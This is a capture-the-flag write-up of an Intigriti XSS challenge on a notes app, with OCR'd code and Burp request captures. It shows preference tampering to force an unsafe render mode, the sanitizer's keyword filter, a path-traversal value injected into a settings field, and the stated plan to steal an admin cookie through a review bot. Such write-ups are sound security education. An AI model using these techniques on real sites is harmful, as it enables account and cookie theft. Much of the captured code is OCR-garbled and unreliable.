Intigriti April 2026 Challenge: CTF Challenge 0426 by KonaN

In April 2026 ethical hacking platform Intigriti (https://www.intigriti.com/) launched a new Capture
The Flag challenge. The challenge itself was created by community member KonaN.

Intigriti's April challenge by KonaN

Find the FLAG and win Intigriti swag! &
Rules:

« This challenge runs from 20/04/2026 12:00 PM until 27/04/2026, 11:59 PM UTC.

» Out of all correct submissions, we will draw six winners on Wednesday 29/04/2026:
o Three randomly drawn correct submissions
o Three best write-ups

« Every winner gets a €50 swag voucher for our swag shop

» The winners will be announced on our Twitter profile.

« For every 100 likes, we'll add a tip to announcement tweet.

« Join our Discord to discuss the challenge!

Rules of the challenge

« Should leverage a XSS vulnerability on the challenge page
+ Should work on the latest version of Google Chrome.

+ Shouldn't be self-XSS or related to MiTM attacks.

Challenge

The rules indicate a XSS (Cross Site Scripting) vulnerability needs to be found and exploited. Once
working on the challenge it became clear the XSS needed to be used to attack the web application
administrator and steal an admin cookie holding the flag.

Full client side JavaScript source code
See the web-page for the full JavaScript code.

Steps taken to solve the challenge

Step 1: Recon
First thing first and that is using the application as intended. The challenge page at
https://challenge-0426.intigriti.io/challenge shows following:



https://challenge-0426.intigriti.io/challenge
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@ Northstar Notes

Published notes

Write a note

Rich forr

Title

Preferences

The top menu items “Library”, “Workspace”, “Compose” and “Preferences” do not have a real
functionality so those can be ignored.

The first section is a search function. It can be used to find Published notes. I did some testing here
for SQL injection or search term reflection but that ended up no where.

This part of the client side JavaScript source code is responsible for the search functionality. To
speedup a bit as this was a quite complex challenge this part of the code did not introduce a
vulnerability that could be exploited to solve the challenge.
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The API search call to the back-end looks like this:

< @] %% challenge-0426.intigriti.io/api/search?q=Welcome
Dretty-printI:f__

{"results":[{"id":"welcome","title":"Welcome to Northstar Notes"}]}

The next part shows published notes and drafts. This is more interesting as we can input here and
probably try to exploit input fields with payloads. To be able to publish or create a draft we need to
go to the Write a note section.

Published notes

Shared pages available to everyone in the workspace.

Welcome to Northstar Notes Writing Guide

Your drafts

Recently created notes saved in this browser.

Write a note

Rich formatting is supported for pasted content, embeds, tables, and snippets.

Title

Content Ric




Once we publish a note it goes to the drafts section.

Published notes

Shared pages available to everyone in the workspace.

‘Welcome to Northstar Notes Writing Guide

system

Your drafts

Recently created notes saved in this browser.

test

Write a note

Rich formatting is supported for pasted content, embeds, tables, and snippets.

Title

View note

Each created note seems to get an unique ID in the browser URL navigation bar and has a request
review button.

Once we request a review we get notified the page will be reviewed. This is interesting as someone
in the back-end or some headless browser is now checking our note. If we can embed an XSS or
maybe a SSRF payload we could steal cookies or compromise internal services.
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A quick test at this moment is to inject a simple HTML or Template injection payload to see if those
work as this could be an indication for bigger issues like XSS or Server Side Template Injection.
But bad luck as our simple injections are not rendering.

Write a note

Rich formatting is supported for pasted content, embeds, tables, and snippets.

Title

<s>title</s>-${7*7}-{{8+8}}

Content Rich content supported

<s>text</s>—${7x7}-{{8x8}}

<s>title</s>-${7*7}-{{8*8}}

t Compact

text-$(7+7)-{{(B+8})

As a final part we can set preferences for our note taking application. This should be checked later
for injections or maybe hidden features we can unlock.

Preferences

Adjust your writing environment for comfort and readability.

Font size Language Default layout

~ 14 English " Summary

Save changes

Preferences are saved per browser profile. Reader presets sync here automatically.

Northstar Notes © 2026




One last thing to notice is that the application remembers our notes even if it has no authentication
functionality. The notes are bound to our browser session via cookies and local storage. The cookie
is not protected by the “HttpOnly” flag which means they can be accessed by arbitrary JavaScript
executing on the note taking application.
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Take-aways from this high level recon:

- There is no fast HTML or Template injection possibility to abuse.

- The note “Request review” functionality could be abused if we can inject XSS for example and
turn it into blind XSS against the back-end.

- Cookies are not “HttpOnly” protected at the front end so via a blind XSS we could be able to steal
back-end cookies if they are also not “HttpOnly” protected.



Step 2: Client side source code when creating a note
To get familiar with the client side JavaScript code I put a breakpoint on each JavaScript function to
see how input moves across the code.
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The first thing we want to know is which JavaScript client side code is involved in the note creation
part.

€ 5 O % challngeaazsinigitio/chalenge * maeEn O :
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Our first 2 breakpoints are hit with JavaScript function “saveNoteld” and “getsavedIds”. These
function take care of the unique IDs each note gets and put them into the local browser storage
under the key “chainnotes_my_ids”.

Both functions are not in our interest as we have no possibility to tamper with them so we can
remove both the breakpoints.



The next function reached is “escapeHtml” This could be interesting due to the innerHTML being
returned but if we inspect what innerHTML contains it is the unique ID which is not in our control
to be tampered with. This function can also be ignored from now.

Next we hit the “showResult” function which again looks promising but just adds the standard
message: “Note Created!” with the link to view the note. Also this breakpoint can be removed now.

At this point our note is created but we still hit a breakpoint as the Notes application main page is
being reloaded. We reach the JavaScript function “loadPrivateNotes” This function starts with
getting all notes unique IDs from our browser storage. Once all IDs are put into an JSON body and
a POST request is send to “https://challenge-0426.intigriti.io/api/notes/lookup™ to get all the notes
from the back-end database.



https://challenge-0426.intigriti.io/api/notes/lookup

With a proxy tool like BURP this request can be repeated to show how the JSON POST request gets
all the notes from the back-end database. You could definitely try SQL injection or path traversal
here to read other notes for example but for this application that seems not to work.
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Request

Pretty  Raw  Hex I n =

POST /api/notes/lookup HITR/2
2 Host: challenge-0426.intigriti.io
3 Cookie: northstar_profile=ddb5£8792ddb715354c39d16al015d74
Content-Length: 344
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0
Safari/537.36
7 Sec-Ch-Ua: "Google Chrome";v="147",
"Chromium";v="147"
5 Sec-Purpose: prefetch;prerender
S Content-Type: application/json
10 See-Ch-Ua-Mobile: 20
Accept: */*
Origin: https://challenge-0426.intigriti.io
13 Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
7 Accept-Language: en-US,en;q=0.9
Priority: u=l, i

"Not.A/Brand";v="8",

20 {
"ids": [

2e389c302dd3cf5e0a37aea5227e93b17958cd08aEeIc fhatObf2T6eeeed

16216",

" £837¢26233622a04e8bb2e5d1987642105a119ac038b243955h3998abab

849b4",
"57£650c4al3£19724637e7aBeS7df4ca0Ba3£AT252a81572 fch £910e3c0
58a24",
"e44Gae7b4938eladd92le3ed5d9c28e09c7030e6681ea5eab 7035706805
dgses”,
"bagfEdE2fecbe3le f764E6bEBCSBEEET479647£159500102911401204bac
86ecs"
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Response

Pretty Raw Hex Render

HTTP/Z 200 OK

Date: Mon, 27 Apr 2026 18:48:57 GMT
Content-Type: application/json; charset=utf-g
Content-Length: 544

X-Powered-By: Express

¢ Content-Security-Policy: default-src 'self'; script-src

‘nonce-TaMvow+3CWeEG2J4GEt lirA==" 'strict-dynamic'; style-src
‘self' 'unsafe-inline' https://fonts.googleapis.com
https://fonts.gstatic.com; img-src * data:; font-src 'self' data
https://fonts.googleapis.con https://fonts.gstatic.com;
connect-sre *; frame-src 'self'; object-sre 'mone'; base-uri
‘none'; form-action 'self’
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer
Btag: W/"220-VtIGeSDqKh7glBlIsyBRXUvAPOu"

0 Strict-Transport-Security: max-age=31536000; includeSubDomains

"notes": [
{
0i@n:
"2e389c302dd3c £5e0a37aeas227e93b17958cdBaceSc fhaflb 2 Teecee
816216",
"title": "<s>title</s>-$(7%7}-((8*8}}",

“author": "anonymous”,
“found":true
}.
{
LT LE
£837 2a04eBbb2e5d1987642105a119ac038b243959b3998aba
bB4Sh4”,
"title":"test",
“author": "anonymous",
“found":true
}.
{
LTLE
"57£690c4al3£19724637e7a8e97df4calBa3£d9252a81572fchf910e3c
0s8an4”,
“found": false
e

L TLE
"e44Eaech493Belad497leIe45dIc Be09c7030eEE01eaSeab703570bS0
5de5es”,

“found": false

B

{
vid:
"baGf6dE2 feTbe3le f7646bEBCIBEEET
cBEecs”,
“found": false

}

1
¥

79647£159500102911401204ba

Target: https://challenge-0426.intigritiio />
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This concludes the client side JavaScript source code used to create a note and load the application

main page.

Nothing really interesting to abuse or fuzz with. We have to move on.



Step 3: Client side source code when opening a note
Next step is to open a note that we created in our previous recon steps. Is there some HTML or
Template injection filtering ongoing that restricts us?

First we hit the breakpoint at JavaScript function “loadPanelManifest” which simply checks if the
note content is a JavaScript string at first but then moves in a more interesting part.

Our note is assigned as “summary” for the panel variable and then fetched from an URL
“https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbafObf
276eeee816216/summary/manifest.json?
note=2e389¢302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbafObf276ecee816216”

This URL simplified looks like this:
“https://challenge-0426.intigriti.io/note/<UUID>/<PANEL>/manifest.json ?note= <UUID> "

The panel variable seems to be a possible weak link here as the variable is not encoded or secured at
first sight when being used in the URL.

% challenge-0426 intigriti deabes anifest 26389c3020d3cfs s 7958cd8a6escf 16 %

{"profile":{"rendertiod” "safe”, "widgetTypes": ["counter”, "progress” ], "widgetsink”: "text"}}


https://challenge-0426.intigriti.io/note/
https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/summary/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/summary/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/summary/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216

- renderMode: safe
- widgetTypes: counter and progress
- widgetSink: text

Questions rise at this moment. Can we change these settings as these are being loaded from an API
call? The path to the API call seems not 100% safe in case we can tamper with the “panel” variable
which is by default set to “summary”. I decide to keep the breakpoint for the “loadPanelManifest”
function.

By default the panel variable is set to “summary” which is a known build in panel but in case the
panel is not known an extra part of the code is used and calls the function
“loadReaderPresetTheme”

var target = '/note/' + encodeURIComponent(noteId) + '/' + panel +
68 /manifest.json?note=" + encodeURIComponent (noteld);

return fetch(target, {
headers: { 'Accept’: 'applicat
b
~then(function (r) {
if (Ir.ok) {
5 if (lisBuiltinpanel(pariel)) {
Preturn DloadReaderPresetTheme(noteId, panel).Dthen(function () {
77 return null;
8 s
}

n’
}

This function fetches from another URL the theme settings:
“https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/<PRESETNAME>/
manifest.json?note=<NOTEUUID>”

92 function loadReaderPresetTheme(noteId, presetName) {
var target = BPREADER_PRESETS_API + '/' + DencodeURIComponent(presetName) +
94 "/manifest.json?note=" + encodeURIComponent(noteld);
95
26 return fetch(target, {
97 headers: { 'Accept’: ‘application/json’ }
o8 5
99 -then(function (r) {
160 if (Ir.ok) return null;
101 return r.json();
102 b
103 .then(function (data) {
104 if (!data || !data.profile || typeof data.profile l== ‘object’) return;
165
166 // Fallback preset loading only applies theme to keep rich rendering gated.
107 if (typeof data.profile.theme === 'string’) {
108 APP.theme = data.profile.theme;
109 }
110 N
111 }
119

Once the “loadPanelManifest” is done we go into the “applyRemoteProfile” function. It checks if
all settings from the “loadPanelManifest” function are JavaScript strings and puts them into
variables.

- APP.renderMode = profile.renderMode;
- APP.widgetTypes = profile.widgetTypes
- APP.widgetSink = profile.widgetSink;

- APP.theme = profile.theme;


https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/

34
35 function applyRemoteprofile(profile) K
Bif (lprofile || typeof profile !== ‘object') Dreturn;

37

38 if (typeof profile.renderMode = ‘string’) {

39 APP.renderMode = profile.rendermMode;

40 3

a1

42 PBif (Array.DisArray(profile.widgetTypes)) {

43 APP.widgetTypes = profile.widgetTypes

44 .filter(function (value) { return typeof value === 'string'; })
.slice(e, 8);

46 ¥

a7

48 if (typeof profile.widgetSink === 'string’) {

49 APP.widgetsink = profile.widgetsink;

50 T

51

52 if (typeof profile.theme === 'string') {

53 ApPP.theme = profile.theme;

54 ¥

vl
v
[

We now hit a function “applyTheme” which sets the theme “dark” in our case. We can skip this
function.

536

537 function applyTheme() {

509 Pdocument . documentElement.DsetAttribute('data-theme’, APP.theme || ‘dark');
539 }

540

Then we hit a function setting some DOM enhancements that are not in our interest and can be
skipped.

233 // Inline enhancements.
234
235 | function initContentEnhancements() {
var container = Bdocument.DgetElementById('note-display’); container = div#note-display.note-body {align: '‘, title: '*, lang: '', translate: true, dir: '*, .}
237 if (lcontainer) return;
238
239 var observer = new MutationObserver(function () { observer = Mutationobserver {}
240 processEnhancements(container); container = divinote-display.note-body {align: ‘', title: ', lang: '', translate: true, dir: '*, .}
241 s
observer.observe(container, { childList: true, subtree: true });
243 }

Now our note input is being rendered and we can see the render function “renderNoteContent”
loads another function “sanitize”.

211 function renderNoteContent() {
var display = Bdocument.DgetElementById( note-display'); display = div#note-display.note-body {align: '', title: '*, lang: '', translate: true, dir: '*, .}
213 var content = window._ NOTE_CONTENT_; content = "<s>text</s>-${7*7}-{{8*8}}"
214 if (Idisplay || typeof content I== 'string') return; display = divénote-display.note-body {align: '', title: '*, lang: ‘', translate: true, dir: '', .}
215
216 var clean = sanitize(content);
217 var safe = postsanitize(clean);
218 display.innerHTHL = safe;
219
220 display.querySelectorAll("a[href]").forEach(function (a) {
221 if (a.hostname !== location.hostname) {
222 a.setAttribute('rel’, ‘noopener noreferrer');
223 a.setAttribute('target', '_blank');
224 }
225 s
226
227 display.queryselectorall('img').forEach(function (img) {
228 img.loading = ‘lazy’;
229 img.onerror = function () { this.style.display = 'none'; };
D
231 }

Sanitize brings us to DOMPurify a well known XSS sanitizer for HTML, MathML and SVG.



function sanitize(html) {
Pif (typeof DOMPurify === 'undefined') Dreturn '*;
return DOMPurify.sanitize(html, getsanitizeconfig());

}

We are up against DOMpurify version 3.4.0 which is almost the latest one checking the official
Github repository: https://github.com/cure53/DOMPurify/releases

Bypassing this version would be hard and not the intention of this challenge.
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But there is more if you look closely. The sanitize function loads a configuration from the
JavaScript function “getSanitizeConfig”. This function seems critical as it decides what is allowed
to pass DOMpurify and what not. Remember the configuration profile loaded earlier containing
“renderMode: safe” that disallows us now from bypassing DOMpurify.

We can clearly see how we need “renderMode: full” to have more possibilities to bypass
DOMpurify.


https://github.com/cure53/DOMPurify/releases

After sanitizing the “renderNoteContent” function loads another function “postSanitize” so
probably in case we are able to activate the “renderMode: full” instead of safe we will need to
bypass some post sanitization.

And indeed if we bypass the initial DOMpurify check some extra unsafe content will be stripped
from a possible payload we inject. “script|cookie|document|window|eval|alert|prompt|confirm|
Function|fetch| XMLHttp[import|require|setTimeout|setInterval”

// Post-sanitisation data attribute filter

var UNSAFE_CONTENT_RE

After this several functions are used to initialize the form “initSettingsForm” and
“initReportButton” which do not show anything of interest now but then we hit the
“loadAccountPreferences” function which fetches an URL
“https://challenge-0426.intigriti.io/api/account/preferences”



https://challenge-0426.intigriti.io/api/account/preferences

And returns following response:

% I
®02 va eserve
¥ tier

This shows that there is possibly more settings we can change then the ones we saw in our first
recon tour in the GUI. We have to dig deeper into those settings in a next step as also the
renderMode safe somehow needs to change to full.

At this moment our note is loaded but clearly stripped from dangerous XSS payload attempts.
Take-aways from this note reading source code deep dive:

- We are being send to the renderMode “safe” while “full” also exists

- We are able to save some preferences but the API call loading our preferences reveal there are
probably more hidden settings.

- If we can inject our own custom panel variable the presets are loaded from another API URL then
the default one.

Step 4: Altering the preferences to gain the full renderMode
The only thing we did not yet investigate is the save preferences function. This one looks very
interesting as until now we did not find any possibility to inject anything malicious. We know there
are probably more settings available then shown in the GUI.

Preferences

Adjust your writing environment for comfort and readability.

Theme Font size Language Default layout

Dark v 14 English v Summary

Save changes

Preferences are saved per browser profile. Reader presets sync here automatically.

Using a proxy like BURP we can save the preferences and intercept the request.
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Request

Pretty  Raw  Hex

POST /api/account/preferences HTTP/Z

Host: challenge-0426.intigriti.io
Cookie: northstar_profile=ddh§£8792ddh715354c39d16al015d74
Content-Length: 72

Sec-Ch-Ua-Platform: "Windows"

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0
Safari/537.36

Sec-Ch-Ua: "Google Chrome";v="147", "Not.A/Brand";v="8",
"Chromium";jv="147"

Content-Type: application/json

Sec-Ch-Ua-Mobile: 20

Accept: */*

Origin: https://challenge-0426.intigriti.io
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Priority: w=l, i

“theme": "dark",
“fontSize":14,
Crpmanie
“defaultLayout": "summary"

Response =
Pretty Raw Hex Render n

HTTP/2 200 OK

Date: Mon, 27 Apr 2026 19:58:39 GMT
Content-Type: application/json; charset=utf-8

Content-Length: 220

X-Powered-By: Express

Content-Security-Policy: default-sre 'self'; seript-sre
‘nonce-70I1xX3YINZNoznawHYgVQ=="' 'strict-dynamic'; style-sre
'self' 'unsafe-inline' https://fonts.googleapis.com
https://fonts.gstatic.com; img-sre * data:; fomt-src 'self'
data: https://fonts.googleapis.com https://fonts.gstatic.com;
connect-sre *; frame-sre 'self'; object-sre 'mome'; base-uri
‘none'; form-action 'self’

X-Content-Type-Options: nosniff

Referrer-Policy: no-referrer

Etag: W/"de-xuZZ2v7TpYFilygShugVvIKoSu:"
Strict-Transport-Security: max-age=31536000; ineludeSubDomains

{
"success":true,
“message": "Preferences saved.",
"preferences”:
“theme": "dark",

“fontSize":14,
"language": "en",
"notifications":true,
"editorMode": "rich",
“defaultLayout": "summary",
"readerPreset

}

"stats": {
"presetCount

}

FIPN

Target: https://challenge-0426.intigritiio /©  HiP2 (3)

We already knew the GET request that is used to read the preferences saved.

11 Sec-Fetch-Mods

ERe o

Request

Pretty  Raw  Hex

GET /api/account/preferences HITP/Z

Host: challenge-0426.intigriti.io
Cookie: northstar_profile=ddb§£8792ddb715354c39d16al015d74
Sec-Ch-Ua-Platform: "Windows"

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winéd; x&4)
AppleWebKit/537.36 (KHTML, like Geclko) Chrome/147.0.0.0
Safari/537.36

Sec-Ch-Ua: "Google Chrome";v="147", "Not.A/Brand";v="8",
“Chromium" ;v="147"

Sec-Ch-Ua-Mobile: 20

Accept: */*

Origin: https://challenge-0426.intigriti.io
Sec-Fetch-Site: same-origin

cors

Sec-Fetch-Dest: empty

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Priority: u=l, i

Response

Pretty Raw Hex Render

HTTP/Z 200 OK

Date: Mon, 27 Apr 2026 19:58:46 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 174

X-Powered-By: Express

Content-Security-Policy: default-src 'self'; script-sre
‘nonce-g2FsMAWWHLSPoZbPQeiR9g==' 'strict-dynamic'; style-src
‘self' 'unsafe-inline' https://fonts.googleapis.com
https://fonts.gstatic.com; img-sre * data:; font-src 'self’
data: https://fonts.googleapis.com https://fonts.gstatic.com;
connect-src *; frame-src 'self'; object-sre 'mone'; base-uri
‘none'; form-action 'self’

X-Content-Type-Options: nosniff

Referrer-Policy: no-referrer

5 Etag: W/"ae-aLjtHRpGEztan+ZSpeYhCzOKGFA"

Strict-Transport-Security: max-age=31536000; includeSubDomains

{

“preferences”: {
“"theme": "dark",
"fontSize":14,
"language": "en",
"notifications":true,
"editorMode": "rich",
"de faultLayout": "summary",
“"readerPresets”: (
}

e

"stats":{
"presetCount”:0

}
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Target: https://challenge-0426.intigritiio /®  HTTP2 (2)
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Remember the “summary” profile being loaded earlier unsafely into the API URL to get the
“manifest.json” file. The response to our GET request contains this option so probably we can

change this to something else and thus we can alter the “panel” variable.

This would initiate the JavaScript code that performs a second API call to get the preferences:

“https://challenge-0426.intigriti.io/note/<UUID>/<PANEL>/manifest.json ?note= <UUID> "

AND



https://challenge-0426.intigriti.io/note/

“https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/<PRESETNAME>/
manifest.json?note=<NOTEUUID>”

If we look at the above URL it seems we can set our own preset name which looks to correspond
with the “readerPresets” in the response of our above GET preferences request.

We are still missing our renderMode which we want to turn into full instead of safe. If we go back
to the “applyRemoteProfile” function we saw it checking for

- APP.renderMode = profile.renderMode;
- APP.widgetTypes = profile.widgetTypes
- APP.widgetSink = profile.widgetSink;

- APP.theme = profile.theme;

The theme we can exclude as another JSON key in our POST request already sets this but the 3
other ones are missing.

We also know that “https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/
<PRESETNAME >/manifest.json?note=<NOTEUUID> " by default shows output:

m,n mn mn

{"profile":{"renderMode":"safe","widgetTypes":["counter"”," "progress"],"widgetSink": "text" } }

So lets adapts our POST request to set the preferences to following so we can enable our custom
panel and full renderMode

n.n

"defaultLayout":"attacker-profile"

"readerPresets":{"profile":{"renderMode":"full","widgetTypes":
["counter”,"progress"],"widgetSink":"text"} } } }

1 2 x 3 + 0

Request Response @@= = Inspector wnd = - x

Pretty Raw Hex Iy n = Pretty Raw Hex Render I N = Request attributes 2 v
L POST /api/account/preferences HITP/2 L HTTP/2 200 OK

2 Host: challenge-0426.intigriti.io 2 Date: Mon, 27 Apr 2026 20:30:46 GMT Request query parameters 0 v

Cookie: northstar_profile=ddb5£8792ddb715354c39d1l6al0l5d74 Content-Type: application/json; charset=utf-8

4 Content-Length: 397 4 Content-Length: 317

5 See-Ch-Ua-Platform: "Windows 5 X-Powered-By: Express Request cookies . A

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4) Content-Security-Policy: default-src 'self'; script-src

AppleWebKit/537.3 (KHTML, like Gecko) Chrome/147.0.0.0 ‘nonce-747iD5+7RexhCsZEchZKBw==" 'strict-dynamic'; style-src Request headers 19 v

Safari/537.36 ‘self' 'unsafe-inline' https://fonts.googleapis.com

7 Sec-Ch-Ua: "Google Chrome";v="147", "Not.A/Brand";v="8", https://fonts.gstatic.com; img-sre * data:; font-src 'self’

"Chromium" ;v="147" data: https://fonts.googleapis.com https://fonts.gstatic.com; Response headers 9 2.

Content-Type: application/json t-src *; frame-src 'self'; object-src 'mome’; base-uri

Sec-Ch-Ua-Mobile: 20 none'; form-action 'self’
10 Accept: */* 7 ¥-Content-Type-Options: nosniff
11 Origin: https://challenge-0426.intigriti.io Referrer-Policy: nmo-referrer
12 Sec-Fetch-Site: same-origin Etag: W/"13d-EPZ4VCw7DLiuZohRHSBWrP/tBro”
13 Sec-Fetch-Mode: cors 10 Strict-Transport-Security: max-age=31538000; includeSubDomains
14 Sec-Fetch-Dest: empty 11
15 Accept-Encoding: gzip, deflate, br 12| {
1é Accept-Language: en-US,en;q=0.9 “success”:true

7 Priority: u=l, i "message":"P

“preferences

{ “"theme": "d
" fontSize"
: file"
"readerPresets”: { "defaultLayout" profil
"readerPresets":
"profile”: { "profile": {
“renderMode": " full", "renderMode": " full”
"widget "widgetType
"o
1, 1,
"widgetSink": "text" "widgetSink": "cext”
} }
4 } }
5 [} }

"stats":(
"presetCount”: 1l
}
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https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/
https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/

This seems to alter the variables in the source code:

rm = formésettings-form.card-form, name = "defaultLayout”, value = "attacker-profile”
)

but also breaks the code as it cannot fetch following URL:

https://challenge-0426.intigriti.io/note/
2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/attacker-profile/
manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9ctfbaf0bf276eeee816216

C % chall .intigriti. 0a37aeas: 17 16/attack e 02dd: 769301795 fbafObf276eeee8 16216

The “attacker-profile” ends up in an unknown 404 not found as the panel does not exist. But the
code still continues and now load the profile also from the second URL:
“https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/attacker-profile/

manifest.json?note=2e389¢302dd3cf5e0a37aea5227e93b17958cd8abe9ctbaf0bf276eeee816216”
which also ends in a 404 but this time showing {"error":"Preset not found"}

< c 25 challenge-0426.intigriti.io/api/account/preferences/reader-f tacker-profil Js =2e389¢302dd3cf5e0a37aea5227e93b17958cd8abeIcfbafObf276eeee8 16216

Pretty-print (]

{"error": "Preset not found"}

So this one indicates the preset is not found while we seem to have set our presets correctly while
saving the preferences. So I started playing around with saving the preferences in a way the preset
would be found.

"readerPresets": {
"attacker-profile": {
"profile": {
"renderMode": "full",
"widgetTypes": [
"counter",
“progress’

I,

3



https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216

"widgetSink": "text"
}
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Request

Pretty  Raw  Hex Q@

POST /api/account/preferences HTTP/Z
Host: challenge-0426.intigriti.io
Cookie: northstar_profile=ddb§£8792ddb715354c39d16al015d74
Content-Length: 241
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&d; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0
Safari/537.36

e

7 Sec-Ch-Ua: "Google Chrome®;v="147", "Not.A/Brand";v=
"Chromium";jv="147"
Content-Type: application/jsen

Sec-Ch-Ua-Mobile: 270
Accept: */*

Origin: https://challenge-0426.intigriti.io
Sec-Fetch-Site: same-origin

3 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

1
4

Response

Pretty

Raw Hex Render

HITP/Z 200 OK

Date: Mon, 27 Apr 2026 21:02:30 GHMT
Content-Type: application/json; charset=utf-8

Content-Length: 427

X-Powered-By: Express

Content-Security-Policy: default-src 'self'; script-sre
'nonce-n0Q1sJICLdhe eZbpRlgHds 'strict-dynamic'; style-sre
‘self' 'unsafe-inline' https://fonts.googleapis.com
https://fonts.gstatic.com; img-src * data:; fomt-src 'self’
data: https://fonts.googleapis.com https://fonts.gstatic.com;
connect-src *; frame-src 'self'; cbject-src 'none'; base-uri
‘none'; form-action 'self’

X-Content-Type-Options: nosniff

Referrer-Policy: no-referrer

Etag: W/"lab-+mDu3nWVG1QKjSatdnVD7dNGTH):"
Striet-Transport-Security: max-age=31536000; includeSubDomains

15 Accept-Encoding: gzip, deflate, br {
1€ Accept-Language: en-US,en;q=0.9
17 Priority: uw=l, i
{
"de faultLayout
"readerPresets":
"attacker-profile
"profile”: {
renderMode": "full",
"widgetTypes": [
“counter”, “counter",
"progress” "progress”
1. 1.
"widgetSink": "cexc] "widgetSink": "cext”
} .
} "attacker-profile”
} "profile: {
} “renderMode": " full",
"progress"
1.
"widgetSink": "text"
}
}
}
stats
"presetCount”:2
}
}
« > c challenge-0426.intigriti.o/api P p p note= 5227€93b17 6GeeeeB16216
>retty-print (]
i"profile":{"rendertiode widgetTypes”:["counter”, "progress” ], "widgetSink": "text"}}
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This gets us close to a full renderMode but still the code defaults back to safe renderMode due to
the fact it could not find the panel.

Lo

[ challenge-style.css 57 function lo
~Ois

=

» B3 vendor i

D appis 5

~ B3 note o

D) 2e269c302dd3ci5e0a37aca5227e93b17958cd8a6eIctbaf.

*string’ ? APP.[panell.toLowerCase().trim() : 'summary
g’ ? APP.noterd : '';

» & fonts.googleapis.com
e/ + encodeURTComponent(noteTd) + '/ + panel +

» & fontsgstatic.com
O fonts.gstatic.cor ote=" + encodeURIComponent (noteId);

anel)) {
resetTheme(noteld, ppanel) .Dthen(function () {

i Console Alassistance  Search  What's new

B Q@ tpv @ Y Filter

© »GET https://challenge-0426.intigriti.io/note/2e389¢3...json?note=2e389¢3.. 404 (Not Found)

> C 25 challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8abe9cfbafObf276eeee816216/attacker-profile/manifest json?note=2e389¢302dd3cf5e0a37aea5227e93b17958cd8abedcfbafObf276eeee8 16216
>retty-print [

“"error”:"Unknown panel”}

If we look back at our recon we know we can probably alter the panel variable just before this fetch
request. It means we need to change our preferences again. If you look really closely to both API
calls loading the panels/preferences they look very similar. As we now control 1 of the 2 calls we
can traverse the other one towards our controlled API call.

Working:
https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/attacker-profile/

manifest.json?note=2e389¢302dd3cf5e0a37aea5227e93b17958cd8abe9cfbafObf276eeee816216

Not working but in our control via the “attacker-profile” variable:

https://challenge-0426.intigriti.io/note/
2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/attacker-profile/

manifest.json?note=2e389¢302dd3cf5e0a37aea5227e93b17958cd8abe9cfbafObf276eeee816216

Changing the "defaultLayout":"../../api/account/preferences/reader-presets/attacker-profile" key in
the preferences forces a path traversal of the second API call towards our working API call.


